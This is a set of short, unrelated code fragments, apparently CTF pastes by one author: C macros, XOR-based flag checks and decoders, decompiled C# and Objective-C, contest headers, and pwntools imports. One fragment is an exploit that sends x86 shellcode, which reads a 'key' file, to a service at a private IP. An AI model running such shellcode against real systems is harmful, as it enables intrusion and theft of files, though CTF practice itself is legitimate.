potetisensei

#include <setjmp.h>
#include "stack.h"
#include "queue.h"
#include "template.h"

#define _tmp_var(name) \
    __tmp_var(name, __LINE__)

#define __tmp_var(name, line) \
    ___tmp_var(name, line)

potetisensei

from hashlib import md5
from sys import exit

def check(s):
    vals = [1310, 1450, 1435, 1316, 1302, 1439]
    return all(ord(s[i*3])^1337 == vals[i] for i in range(6))

chars = ["", "_"] + [chr(i) for i in range(ord("A"), ord("Z")+1)] + [chr(i) for i in range(ord("a"), ord("z")+
1)]
password = "6sZh2HZCx3DI66Xs"

potetisensei

flag = "jV[\036xR_Y\036WM\004\036]\006\017\b_\006[_\\\r\r_\b\t\a\n\t]Z\b\n\t_\tX]\aX\\\f\v\n"

print "".join(chr(ord(c) ^ (0x37+7)) for c in flag)

potetisensei

public void check_password(string password) {
  string environmentVariable = MyProject.Application.GetEnvironmentVariable("USERNAME");
  string s = "_P4d11n9_" + environmentVariable + "_P4d11n9_";
  MD5CryptoServiceProvider cryptoServiceProvider = new MD5CryptoServiceProvider();
  byte[] hash1 = cryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(s));
  int[] numArray = new int[6] {1310, 1450, 1435, 1316, 1302, 1439};
  int index1 = 0;
  int num1 = 0;
  int num2 = hash1.Length - 1;
  int index2 = num1;

potetisensei

#include <cstdio>
#include <vector>
#include <utility>
#include <algorithm>
#include <queue>

#define INF 0xfffffff

using namespace std;

potetisensei

#include <cstdio>

using namespace std;

#define J 1
#define O 2
#define I 4

int need[1000];
int dp[8][1000];

potetisensei

char [AudioManager loadBgmData:](struct AudioManager *self, SEL selector, id bgm_data)
{
    NSError *has_occured;

    if (bgm_data == nil) return 0;

    self._bgmPlayer = [AVAudioPlayer alloc];
    [self._bgmPlayer initWithData: bgm_data error: &has_occured];

    if (has_occured == nil) {

potetisensei

#-*- encoding:utf-8 -*-

from base64 import b64encode, b64decode
from pickle import dumps, loads
from struct import pack, unpack

NONE = -1
WHITE = 1
RED = 2
BLUE = 3

potetisensei

from socket import *

shellcode = '\xeb)j\x05X[1\xc9\xcd\x80\x89\xc3\xb0\x03\x89\xef\x89\xf91\xd2\xb6\xff\xb2\xff\xcd\x80\x89\xc2j\x04X\x8a\\$\x04\xcd\x80j\x01XC\xcd\x80\xe8\xd2\xff\xff\xffkey'
codes = '85\nH\nS\n95\nS\n125\nH\n17\nS\n109\nS\n125\nH\nH\nH\n57\nH\nH\n1\nH\nS\n1\nH\nH\nH\n25\nH\n-1'

t = socket(AF_INET, SOCK_STREAM)
t.connect(("192.168.174.187", 6789))

print t.recv(2048)
t.sendall("0\x00\x00\x00" + shellcode + "\n")

potetisensei

import sys

sys.path.append("/home/poteti/pwntools/")

from pwn import process
from struct import pack, unpack

def read_addr_packed(packed_addr):
    return unpack("<Q", packed_addr + "\x00" * (8 - len(packed_addr)))[0]